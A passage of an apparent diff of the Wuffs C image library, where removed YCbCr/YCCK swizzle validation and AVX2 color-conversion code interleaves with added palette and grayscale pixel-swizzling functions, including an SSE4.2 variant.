src3, +- uint32_t width0, +- uint32_t width1, +- uint32_t width2, +- uint32_t width3, +- uint32_t height0, +- uint32_t height1, +- uint32_t height2, +- uint32_t height3, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t stride3, +- uint8_t h0, +- uint8_t h1, +- uint8_t h2, +- uint8_t h3, +- uint8_t v0, +- uint8_t v1, +- uint8_t v2, +- uint8_t v3, +- bool is_rgb_or_cmyk, +- bool triangle_filter_for_2to1, +- wuffs_base__slice_u8 scratch_buffer_2k) { +- if (!p) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } else if (!dst || (width > 0xFFFFu) || (height > 0xFFFFu) || // +- (4u <= ((unsigned int)h0 - 1u)) || // +- (4u <= ((unsigned int)h1 - 1u)) || // +- (4u <= ((unsigned int)h2 - 1u)) || // +- (4u <= ((unsigned int)v0 - 1u)) || // +- (4u <= ((unsigned int)v1 - 1u)) || // +- (4u <= ((unsigned int)v2 - 1u)) || // +- (scratch_buffer_2k.len < 2048u)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ const size_t loop_unroll_count = 4; ++ ++ while (n >= loop_unroll_count) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); ++ } ++ uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[1] * 4)); ++ if (s1) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (1 * 4), s1); ++ } ++ uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[2] * 4)); ++ if (s2) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (2 * 4), s2); ++ } ++ uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[3] * 4)); ++ if (s3) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (3 * 4), s3); ++ } ++ ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 4; ++ n -= loop_unroll_count; + } +- if ((h3 != 0u) || (v3 != 0u)) { +- if ((4u <= ((unsigned int)h3 - 1u)) || // +- (4u <= ((unsigned int)v3 - 1u))) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); + } ++ ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; + } + +- uint32_t max_incl_h = wuffs_base__u32__max_of_4(h0, h1, h2, h3); +- uint32_t max_incl_v = wuffs_base__u32__max_of_4(v0, v1, v2, v3); ++ return len; ++} + +- // Calculate the inverse h and v ratios. +- // +- // It also canonicalizes (h=2 and max_incl_h=4) as equivalent to (h=1 and +- // max_incl_h=2). In both cases, the inv_h value is 2. +- uint32_t inv_h0 = max_incl_h / h0; +- uint32_t inv_h1 = max_incl_h / h1; +- uint32_t inv_h2 = max_incl_h / h2; +- uint32_t inv_h3 = h3 ? (max_incl_h / h3) : 0u; +- uint32_t inv_v0 = max_incl_v / v0; +- uint32_t inv_v1 = max_incl_v / v1; +- uint32_t inv_v2 = max_incl_v / v2; +- uint32_t inv_v3 = v3 ? (max_incl_v / v3) : 0u; ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__y__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- uint32_t half_width_for_2to1 = (width + 1u) / 2u; +- uint32_t half_height_for_2to1 = (height + 1u) / 2u; +- +- width = wuffs_base__u32__min_of_5( // +- width, // +- width0 * inv_h0, // +- width1 * inv_h1, // +- width2 * inv_h2, // +- wuffs_base__pixel_config__width(&dst->pixcfg)); +- height = wuffs_base__u32__min_of_5( // +- height, // +- height0 * inv_v0, // +- height1 * inv_v1, // +- height2 * inv_v2, // +- wuffs_base__pixel_config__height(&dst->pixcfg)); ++ __m128i shuffle = _mm_set_epi8(+0x03, +0x03, +0x03, +0x03, // ++ +0x02, +0x02, +0x02, +0x02, // ++ +0x01, +0x01, +0x01, +0x01, // ++ +0x00, +0x00, +0x00, +0x00); ++ __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00); + +- if (((h0 * inv_h0) != max_incl_h) || // +- ((h1 * inv_h1) != max_incl_h) || // +- ((h2 * inv_h2) != max_incl_h) || // +- ((v0 * inv_v0) != max_incl_v) || // +- ((v1 * inv_v1) != max_incl_v) || // +- ((v2 * inv_v2) != max_incl_v) || // +- (src0.len < wuffs_base__pixel_swizzler__flattened_length( +- width, height, stride0, inv_h0, inv_v0)) || +- (src1.len < wuffs_base__pixel_swizzler__flattened_length( +- width, height, stride1, inv_h1, inv_v1)) || +- (src2.len < wuffs_base__pixel_swizzler__flattened_length( +- width, height, stride2, inv_h2, inv_v2))) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((h3 != 0u) || (v3 != 0u)) { +- if (((h3 * inv_h3) != max_incl_h) || // +- ((v3 * inv_v3) != max_incl_v) || // +- (src3.len < wuffs_base__pixel_swizzler__flattened_length( +- width, height, stride3, inv_h3, inv_v3))) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- } ++ while (n >= 4) { ++ __m128i x; ++ x = _mm_cvtsi32_si128((int)(wuffs_base__peek_u32le__no_bounds_check(s))); ++ x = _mm_shuffle_epi8(x, shuffle); ++ x = _mm_or_si128(x, or_ff); ++ _mm_storeu_si128((__m128i*)(void*)d, x); + +- if (wuffs_base__pixel_format__is_planar(&dst->pixcfg.private_impl.pixfmt)) { +- // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. +- return wuffs_base__make_status( +- wuffs_base__error__unsupported_pixel_swizzler_option); ++ s += 4 * 1; ++ d += 4 * 4; ++ n -= 4; + } + +- switch (dst->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- break; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); + +- default: +- // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. +- return wuffs_base__make_status( +- wuffs_base__error__unsupported_pixel_swizzler_option); ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; + } + +- if ((width <= 0u) || (height <= 0u)) { +- return wuffs_base__make_status(NULL); +- } ++ return len; ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func = NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__y(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- if (is_rgb_or_cmyk) { +- conv3func = &wuffs_base__pixel_swizzler__swizzle_rgb__convert_3_general; +- } else { +- switch (dst->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +- if (wuffs_base__cpu_arch__have_x86_avx2()) { +- conv3func = +- &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx_x86_avx2; +- break; +- } +-#endif +- conv3func = &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx; +- break; +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +- if (wuffs_base__cpu_arch__have_x86_avx2()) { +- conv3func = +- &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx_x86_avx2; +- break; +- } +-#endif +- conv3func = &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx; +- break; +- default: +- conv3func = &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_general; +- break; +- } ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); ++ ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; + } + +- void (*func)( +- wuffs_base__pixel_buffer * dst, // +- uint32_t width, // +- uint32_t height, // +- const uint8_t* src_ptr0, // +- const uint8_t* src_ptr1, // +- const uint8_t* src_ptr2, // +- uint32_t stride0, // +- uint32_t stride1, // +- uint32_t stride2, // +- uint32_t inv_h0, // +- uint32_t inv_h1, // +- uint32_t inv_h2, // +- uint32_t inv_v0, // +- uint32_t inv_v1, // +- uint32_t inv_v2, // +- uint32_t half_width_for_2to1, // +- uint32_t half_height_for_2to1, // +- uint8_t* scratch_buffer_2k_ptr, // +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func(*upfuncs)[4][4], +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) = +- &wuffs_base__pixel_swizzler__swizzle_ycc__general__box_filter; +- +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfuncs[4][4]; +- memcpy(&upfuncs, &wuffs_base__pixel_swizzler__swizzle_ycc__upsample_funcs, +- sizeof upfuncs); ++ return len; ++} + +- if (triangle_filter_for_2to1 && +- (wuffs_base__pixel_swizzler__has_triangle_upsampler(inv_h0, inv_v0) || +- wuffs_base__pixel_swizzler__has_triangle_upsampler(inv_h1, inv_v1) || +- wuffs_base__pixel_swizzler__has_triangle_upsampler(inv_h2, inv_v2))) { +- func = &wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter; +- +- upfuncs[0][1] = +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1v2_triangle; +- upfuncs[1][0] = +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v1_triangle; +- upfuncs[1][1] = +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle; +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-#if defined(__GNUC__) && !defined(__clang__) +- // Don't use our AVX2 implementation for GCC (but do use it for clang). For +- // some unknown reason, GCC performs noticably better on the non-SIMD +- // version. Possibly because GCC's auto-vectorizer is smarter (just with +- // SSE2, not AVX2) than our hand-written code, but that's just a guess. +- // +- // See commits 51bc60ef9298cb2efc1b29a9681191f66d49820d and +- // cd769a0cdf1b5affee13f6089b995f3d39569cb4 for benchmark numbers. +- // +- // See also https://godbolt.org/z/MbhbPGEz4 for Debian Bullseye's clang 11 +- // versus gcc 10, where only gcc auto-vectorizes, although later clang +- // versions will also auto-vectorize. +-#else +- if (wuffs_base__cpu_arch__have_x86_avx2()) { +- upfuncs[1][1] = +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2; +- } +-#endif +-#endif +- } ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- if ((h3 != 0u) || (v3 != 0u)) { +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func conv4func = +- is_rgb_or_cmyk +- ? &wuffs_base__pixel_swizzler__swizzle_cmyk__convert_4_general +- : &wuffs_base__pixel_swizzler__swizzle_ycck__convert_4_general; +- wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter( // +- dst, width, height, // +- src0.ptr, src1.ptr, src2.ptr, src3.ptr, // +- stride0, stride1, stride2, stride3, // +- inv_h0, inv_h1, inv_h2, inv_h3, // +- inv_v0, inv_v1, inv_v2, inv_v3, // +- half_width_for_2to1, half_height_for_2to1, // +- scratch_buffer_2k.ptr, &upfuncs, conv4func); ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); + +- } else { +- (*func)( // +- dst, width, height, // +- src0.ptr, src1.ptr, src2.ptr, // +- stride0, stride1, stride2, // +- inv_h0, inv_h1, inv_h2, // +- inv_v0, inv_v1, inv_v2, // +- half_width_for_2to1, half_height_for_2to1, // +- scratch_buffer_2k.ptr, &upfuncs, conv3func); ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; + } + +- return wuffs_base__make_status(NULL); ++ return len; + } + + // -------- + +-// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx_x86_avx2( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- if ((x + 32u) > x_end) { +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx( // +- dst, x, x_end, y, up0, up1, up2); +- return; ++static uint64_t // ++wuffs_private_impl__swizzle_xxxxxxxx__index__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; + } ++ size_t dst_len8 = dst_len / 8; ++ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- size_t dst_stride = dst->private_impl.planes[0].stride; +- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + +- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); +- +- // u0001 = u16x16 [0x0001 .. 0x0001] +- // u00FF = u16x16 [0x00FF .. 0x00FF] +- // uFF80 = u16x16 [0xFF80 .. 0xFF80] +- // uFFFF = u16x16 [0xFFFF .. 0xFFFF] +- const __m256i u0001 = _mm256_set1_epi16(+0x0001); +- const __m256i u00FF = _mm256_set1_epi16(+0x00FF); +- const __m256i uFF80 = _mm256_set1_epi16(-0x0080); +- const __m256i uFFFF = _mm256_set1_epi16(-0x0001); ++ while (n >= 1) { ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4)))); + +- // p8000_p0000 = u16x16 [0x8000 0x0000 .. 0x8000 0x0000] +- const __m256i p8000_p0000 = _mm256_set_epi16( // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000); ++ s += 1 * 1; ++ d += 1 * 8; ++ n -= 1; ++ } + +- // Per wuffs_base__color_ycc__as__color_u32, the formulae: +- // +- // R = Y + 1.40200 * Cr +- // G = Y - 0.34414 * Cb - 0.71414 * Cr +- // B = Y + 1.77200 * Cb +- // +- // When scaled by 1<<16: +- // +- // 0.34414 becomes 0x0581A = 22554. +- // 0.71414 becomes 0x0B6D2 = 46802. +- // 1.40200 becomes 0x166E9 = 91881. +- // 1.77200 becomes 0x1C5A2 = 116130. +- // +- // Separate the integer and fractional parts, since we work with signed +- // 16-bit SIMD lanes. The fractional parts range from -0.5 .. +0.5 (as +- // floating-point) which is from -0x8000 .. +0x8000 (as fixed-point). +- // +- // -0x3A5E = -0x20000 + 0x1C5A2 The B:Cb factor. +- // +0x66E9 = -0x10000 + 0x166E9 The R:Cr factor. +- // -0x581A = +0x00000 - 0x0581A The G:Cb factor. +- // +0x492E = +0x10000 - 0x0B6D2 The G:Cr factor. +- const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); +- const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); +- const __m256i m581A_p492E = _mm256_set_epi16( // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A); ++ return len; ++} + +- while (x < x_end) { +- // Load chroma values in even and odd columns (the high 8 bits of each +- // u16x16 element are zero) and then subtract 0x0080. +- // +- // cb_all = u8x32 [cb.00 cb.01 cb.02 cb.03 .. cb.1C cb.1D cb.1E cb.1F] +- // cb_eve = i16x16 [cb.00-0x80 cb.02-0x80 .. cb.1C-0x80 cb.1E-0x80 ] +- // cb_odd = i16x16 [cb.01-0x80 cb.03-0x80 .. cb.1D-0x80 cb.1F-0x80 ] +- // +- // Ditto for the cr_xxx Chroma-Red values. +- __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); +- __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); +- __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); +- __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); +- __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); +- __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); ++static uint64_t // ++wuffs_private_impl__swizzle_xxxxxxxx__index_binary_alpha__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len8 = dst_len / 8; ++ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // ---- ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), wuffs_base__color_u32__as__color_u64(s0)); ++ } + +- // Calculate: +- // +- // B-Y = (+1.77200 * Cb) as floating-point +- // R-Y = (+1.40200 * Cr) as floating-point +- // +- // B-Y = ((0x2_0000 - 0x3A5E) * Cb) as fixed-point +- // R-Y = ((0x1_0000 + 0x66E9) * Cr) as fixed-point +- // +- // B-Y = ((-0x3A5E * Cb) + ("2.0" * Cb)) +- // R-Y = ((+0x66E9 * Cr) + ("1.0" * Cr)) ++ s += 1 * 1; ++ d += 1 * 8; ++ n -= 1; ++ } + +- // Multiply by m3A5E or p66E9, taking the high 16 bits. There's also a +- // doubling (add x to itself), adding-of-1 and halving (shift right by 1). +- // That makes multiply-and-take-high round to nearest (instead of down). +- __m256i tmp_by_eve = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), +- 1); +- __m256i tmp_by_odd = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), +- 1); +- __m256i tmp_ry_eve = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), +- 1); +- __m256i tmp_ry_odd = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), +- 1); ++ return len; ++} + +- // Add (2 * Cb) and (1 * Cr). +- __m256i by_eve = +- _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); +- __m256i by_odd = +- _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); +- __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); +- __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); ++static uint64_t // ++wuffs_private_impl__swizzle_xxxxxxxx__y(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // ---- ++ while (n >= 1) { ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), 0xFFFF000000000000 | (0x010101010101 * (uint64_t)s[0])); + +- // Calculate: +- // +- // G-Y = (-0.34414 * Cb) + +- // (-0.71414 * Cr) as floating-point +- // +- // G-Y = ((+0x0_0000 - 0x581A) * Cb) + +- // ((-0x1_0000 + 0x492E) * Cr) as fixed-point +- // +- // G-Y = (-0x581A * Cb) + +- // (+0x492E * Cr) - ("1.0" * Cr) ++ s += 1 * 1; ++ d += 1 * 8; ++ n -= 1; ++ } + +- // Multiply-add to get ((-0x581A * Cb) + (+0x492E * Cr)). +- __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // +- _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); +- __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // +- _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); +- __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // +- _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); +- __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // +- _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); ++ return len; ++} + +- // Divide the i32x8 vectors by (1 << 16), rounding to nearest. +- __m256i tmp1_gy_eve_lo = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); +- __m256i tmp1_gy_eve_hi = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); +- __m256i tmp1_gy_odd_lo = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); +- __m256i tmp1_gy_odd_hi = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); ++static uint64_t // ++wuffs_private_impl__swizzle_xxxxxxxx__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // Pack the ((-0x581A * Cb) + (+0x492E * Cr)) as i16x16 and subtract Cr. +- __m256i gy_eve = _mm256_sub_epi16( +- _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); +- __m256i gy_odd = _mm256_sub_epi16( +- _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); ++ while (n >= 1) { ++ uint64_t s0 = ++ ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(s + (0 * 2)))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), 0xFFFF000000000000 | (0x000100010001 * s0)); + +- // ---- ++ s += 1 * 2; ++ d += 1 * 8; ++ n -= 1; ++ } + +- // Add Y to (B-Y), (G-Y) and (R-Y) to produce B, G and R. +- // +- // For the resultant packed_x_xxx vectors, only elements 0 ..= 7 and 16 ..= +- // 23 of the 32-element vectors matter (since we'll unpacklo but not +- // unpackhi them). Let … denote 8 ignored consecutive u8 values and let % +- // denote 0xFF. We'll end this section with: +- // +- // packed_b_eve = u8x32 [b00 b02 .. b0C b0E … b10 b12 .. b1C b1E …] +- // packed_b_odd = u8x32 [b01 b03 .. b0D b0F … b11 b13 .. b1D b1F …] +- // packed_g_eve = u8x32 [g00 g02 .. g0C g0E … g10 g12 .. g1C g1E …] +- // packed_g_odd = u8x32 [g01 g03 .. g0D g0F … g11 g13 .. g1D g1F …] +- // packed_r_eve = u8x32 [r00 r02 .. r0C r0E … r10 r12 .. r1C r1E …] +- // packed_r_odd = u8x32 [r01 r03 .. r0D r0F … r11 r13 .. r1D r1F …] +- // uFFFF = u8x32 [ % % .. % % … % % .. % % …] ++ return len; ++} + +- __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); +- __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); +- __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); ++// -------- + +- __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); +- __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); +- __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); +- __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); ++static uint64_t // ++wuffs_private_impl__swizzle_y__bgra_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len < src_len4) ? dst_len : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); +- __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); +- __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); +- __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); ++ while (n >= 1) { ++ uint32_t s0 = ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ d[0] = wuffs_base__color_u32_argb_premul__as__color_u8_gray(s0); + +- __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); +- __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); +- __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); +- __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); ++ s += 1 * 4; ++ d += 1 * 1; ++ n -= 1; ++ } + +- // ---- ++ return len; ++} + +- // Mix those values (unpacking in 8, 16 and then 32 bit units) to get the +- // desired BGRX/RGBX order. +- // +- // From here onwards, all of our __m256i registers are u8x32. ++static uint64_t // ++wuffs_private_impl__swizzle_y__bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len < src_len4) ? dst_len : src_len4; ++ uint8_t* d = 